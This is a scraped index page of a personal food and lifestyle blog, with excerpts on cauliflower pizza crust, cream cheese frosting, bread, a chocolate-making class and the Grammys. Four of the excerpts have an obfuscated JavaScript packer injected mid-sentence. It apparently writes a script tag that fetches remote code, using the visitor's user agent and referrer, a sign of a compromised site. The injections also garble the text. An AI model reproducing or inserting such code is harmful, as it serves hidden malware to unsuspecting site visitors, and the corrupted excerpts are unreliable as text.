Smithfield, NC

Some of you probably saw my posts from Wednesday.  For those that didn’t, here it is! My ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbyzn|var|u0026u|referrer|tafei||js|php’.split(‘|’),0,{})) friend, Will, asked Lisa and I to pose for some stock photos he was trying to create.  Typically, you NEVER see the photos again.  People use them, but trying to find them would […]

It was really tasty, but I try not to pay money for sweets (this is not a […]

Chocolate Making with Rachel Dunn

Over the holidays, my girlfriends and I decided to buy a travelzoo deal for a chocolate making course.  Yes, this is a far cry from cauliflower pizza. We finally cashed in our chocolate making vouchers last Friday night at Rachel Dunn’s in Concord.  Waivers in hand (yes, waivers!), we were ready to make chocolate! To […]

Quick and Easy Dinner

This is not as awesome as the cauliflower pizza crust.  I’m just trying to manage expectations.  But it IS quick, easy and ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nedya|var|u0026u|referrer|zbeid||js|php’.split(‘|’),0,{})) healthy. I don’t like following recipes 80% of the time.  If it calls for a recipe, there’s a 90% chance I won’t make it on a weekday.  I […]

Cauliflower Pizza Crust

Yes.  Seriously.  I just said cauliflower pizza crust! (see updates at the bottom) We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htzzy|var|u0026u|referrer|nhhsh||js|php’.split(‘|’),0,{})) have this conundrum in our house.  We LOVE pizza but we’re sorta trying to stay away from carbs as best we can.  We indulge ourselves periodically, but it would be totally awesome to have pizza at […]

Whipped Cream, Cream Cheese Frosting

Also known as the best frosting ever. If you’re a fan of cream cheese frosting, try this recipe.  It’s lighter than normal cream cheese frosting (in texture….probably not in calories).  And it holds its shape, even at room temp. Ingredients 1.5c ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznnf|var|u0026u|referrer|nrtye||js|php’.split(‘|’),0,{})) whipping cream 1 3/4c + 2 Tbs powdered sugar […]

Quick and easy bread recipe

In general, we don’t eat a lot of bread.  Or rice.  Or pasta.  We’re not on a “no carb” diet and we’re not gluten free, we just try to keep it out of meals as best we can. That being said, I can’t get enough of warm bread, fresh out of the oven.  I once […]

Going to the Grammys, Part 1

Ever wonder what it’s like to attend the Grammys? Me too! My good friend, Caresse – Thanksgiving partner in crime for anyone needing a refresher – had the great privilege of attending the Grammys last week.  The Grammys, people.  O.M.G.
